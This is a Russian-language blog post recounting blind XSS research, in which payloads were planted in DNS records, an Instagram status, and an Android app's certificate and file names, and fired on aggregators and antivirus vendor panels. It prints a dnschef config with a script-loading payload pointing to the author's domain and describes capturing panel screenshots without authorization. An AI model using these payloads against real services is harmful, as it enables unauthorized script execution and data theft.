Skip to main content

Приключения xss векторов в необычных местах

By 10 января 201724 января, 2017Blog

Привет! Хочу рассказать о нескольких случаях, когда ресурсы сами собирали данные, но некорректно их обрабатывали. Причём в некоторых случаях, данные представлены в безопасном виде, но за счет парсинга и дальнейшей обработки когда-то безопасная строка превращается в атакующий вектор. На серьезность статьи не претендую, все забавы ради, как в старые — добрые времена 🙂

XSS и DNS

Если загуглить XSS via DNS, то ты найдешь несколько статей на эту тему, когда в качестве TXT записи  отдается атакующий вектор.
Но создать TXT запись можно в любой хостинг-панели и XSS там висит с времен создания блога 🙂
А почему никто не вспомнил про другие виды записей, скажем, CNAME или NS? Но для того, чтобы вернуть в качестве доменов атакующие вектора, можно создать собственный NS-сервер.
Отличным решением было использование dnschef. Я взял поддомен hack.bo0om.ru (можно было любой свой домен), в качестве name server’а указал собственный ip. Всё.

Теперь мы рулим настройками, которые в dnschef.ini, поэтому пишем туда:

[MX]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
[NS]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
[CNAME]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>

Теперь, если ресурс берет данные из DNS и помещает на страницу — есть вероятность, что про фильтрацию пользовательских данных он забыл.

Примеры, где работает XSS:

XSS и Instagram

Забавы ради я как-то добавил XSS в статус инстаграма. Ничего в этом такого нет, но стоит заметить, что сам вектор атаки был безопасен (на странице instagram).

Но по логам — начали срабатывать XSS’ки на различных доменах, это были парсеры соцсети и какие-то аналитические сервисы. Вот пример доменов:

  • findgram.me
  • imgrab.com
  • instagy.com
  • iconosquare.com
  • tofo.me
  • photo.sh
  • gramosphere.com

Часть из них баги уже исправили, но то что было в логах — пусть будет тут 🙂

XSS и Google Play

Недавно постучал @Black2Fan и спрашивает, а есть ли у меня android приложение с XSS в Google Play :D?

А что, можно было? А давай сделаем! Где-нибудь да и стрельнет (а вдруг где-то у googl’а).

Итак, был сгенерирован сертификат, подписывающий приложение, только вместо имени разработчика и прочих данных — XSS

Были разложены файлы с «заначками», и файлы, путь из которых формирует валидный тег, подгружающий скрипт с моего домена.
Напомню, что в именах файлов можно использовать спецсимволы (в linux), кому интересно — гляньте папку assets.

Но вот беда, чтобы внедрить свой скрипт в имя, нужно домен покороче, ибо ограничение в 30 символов. Под рукой короткого домена, естественно, небыло. Если все одно-двусимвольные домены уже зарегистрированны — еще не все потеряно. В современных интернетах уже давно используются punycode, и регистрировать такие домены можно, и в настоящий момент заняты не все смайлики 🙂

Например, последовательность xn--g3h дает . Вот я и зарегистрировал домен — .ws (4 символа включая точку).

Приложение пока доступно ТУТ, но в любой момент его могут удалить 🙂

В первую очередь отстук пришёл с парсеров приложений, больше всего трафика с данных доменов:

  • apkpure.com
  • allfreeapk.com
  • appbrain.com
  • appszoom.com
  • downloadatoz.com

Помимо этого, всякие сканеры приложений, декомпиляторы apk, ну и всякое по мелочи.

Один из примеров — HackApp, который ищет уязвимости в мобильных приложениях. Тем временем, приложение нашло уязвимость в нём 🙂

Но самое забавное — после того, как приложение было отправлено на virustotal, XSS сработали в панелях антивирусных компаний.

  1. Поддомен Qihoo 360 — создатели антивируса 360 Total Security
  2. Поддомен Antiy Labs — создатели антивируса AVL (красивая панелька, интеграция с Jira)

Обе панели на PHP, и обе компании из Китая, большая часть данных экранируется, но где-то да и проскочет вектор, который отправил «снимок экрана» мне на сервер. Не bugbounty, но все же забавно.

Еще одно замечание, в зависимости от перевода — в описание приложения проходит тег , попробуй что-нибудь с этим сделать, а вдруг

Вместо заключения

Нужно больше золота забавных исследований. XSS-ки всегда будут актуальны, тем более это легко. Может ты знаешь ещё забавные места и вектора, кидай ссылки, если некуда писать — пиши на telegra.ph (с картинками) и кинь в комменты.

Join the discussion 3 комментария

Leave a Reply